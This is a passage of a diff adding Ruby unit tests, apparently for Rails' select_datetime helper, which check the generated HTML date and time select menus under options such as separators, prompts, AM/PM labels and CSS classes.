+    expected << %(<option value="00">12 AM</option>\n<option value="01">01 AM</option>\n<option value="02">02 AM</option>\n<option value="03">03 AM</option>\n<option value="04">04 AM</option>\n<option value="05">05 AM</option>\n<option value="06">06 AM</option>\n<option value="07">07 AM</option>\n<option value="08" selected="selected">08 AM</option>\n<option value="09">09 AM</option>\n<option value="10">10 AM</option>\n<option value="11">11 AM</option>\n<option value="12">12 PM</option>\n<option value="13">01 PM</option>\n<option value="14">02 PM</option>\n<option value="15">03 PM</option>\n<option value="16">04 PM</option>\n<option value="17">05 PM</option>\n<option value="18">06 PM</option>\n<option value="19">07 PM</option>\n<option value="20">08 PM</option>\n<option value="21">09 PM</option>\n<option value="22">10 PM</option>\n<option value="23">11 PM</option>\n)
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), start_year: 2003, end_year: 2005, prefix: "date[first]", ampm: true)
+  end
+
+  def test_select_datetime_with_separators
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n).dup
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), start_year: 2003, end_year: 2005, prefix: "date[first]", datetime_separator: " &mdash; ", time_separator: " : ")
+  end
+
+  def test_select_datetime_with_nil_value_and_no_start_and_end_year
+    expected = %(<select id="date_first_year" name="date[first][year]">\n).dup
+    (Date.today.year - 5).upto(Date.today.year + 5) { |y| expected << %(<option value="#{y}">#{y}</option>\n) }
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_datetime(nil, prefix: "date[first]")
+  end
+
+  def test_select_datetime_with_html_options
+    expected =  %(<select id="date_first_year" name="date[first][year]" class="selector">\n).dup
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]" class="selector">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]" class="selector">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %(<select id="date_first_hour" name="date[first][hour]" class="selector">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_first_minute" name="date[first][minute]" class="selector">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), { start_year: 2003, end_year: 2005, prefix: "date[first]" }, class: "selector")
+  end
+
+  def test_select_datetime_with_all_separators
+    expected =  %(<select id="date_first_year" name="date[first][year]" class="selector">\n).dup
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << "/"
+
+    expected << %(<select id="date_first_month" name="date[first][month]" class="selector">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << "/"
+
+    expected << %(<select id="date_first_day" name="date[first][day]" class="selector">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    expected << "&mdash;"
+
+    expected << %(<select id="date_first_hour" name="date[first][hour]" class="selector">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    expected << ":"
+
+    expected << %(<select id="date_first_minute" name="date[first][minute]" class="selector">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), { datetime_separator: "&mdash;", date_separator: "/", time_separator: ":", start_year: 2003, end_year: 2005, prefix: "date[first]" }, class: "selector")
+  end
+
+  def test_select_datetime_should_work_with_date
+    assert_nothing_raised { select_datetime(Date.today) }
+  end
+
+  def test_select_datetime_with_default_prompt
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n).dup
+    expected << %(<option value="">Year</option>\n<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="">Month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="">Day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
+    expected << %(<option value="">Hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
+    expected << %(<option value="">Minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), start_year: 2003, end_year: 2005,
+                                               prefix: "date[first]", prompt: true)
+  end
+
+  def test_select_datetime_with_custom_prompt
+    expected =  %(<select id="date_first_year" name="date[first][year]">\n).dup
+    expected << %(<option value="">Choose year</option>\n<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]">\n)
+    expected << %(<option value="">Choose month</option>\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]">\n)
+    expected << %(<option value="">Choose day</option>\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %(<select id="date_first_hour" name="date[first][hour]">\n)
+    expected << %(<option value="">Choose hour</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_first_minute" name="date[first][minute]">\n)
+    expected << %(<option value="">Choose minute</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04" selected="selected">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_datetime(Time.mktime(2003, 8, 16, 8, 4, 18), start_year: 2003, end_year: 2005, prefix: "date[first]",
+      prompt: { day: "Choose day", month: "Choose month", year: "Choose year", hour: "Choose hour", minute: "Choose minute" })
+  end
+
+  def test_select_datetime_with_generic_with_css_classes
+    expected =  %(<select id="date_year" name="date[year]" class="year">\n).dup
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_month" name="date[month]" class="month">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_day" name="date[day]" class="day">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    expected << " &mdash; "
+
+    expected << %(<select id="date_hour" name="date[hour]" class="hour">\n)
+    expected << %(<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08" selected="selected">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n)
+    expected << "</select>\n"
+
+    expected << " : "
+
+    expected << %(<select id="date_minute" name="date[minute]" class="minute">\n)
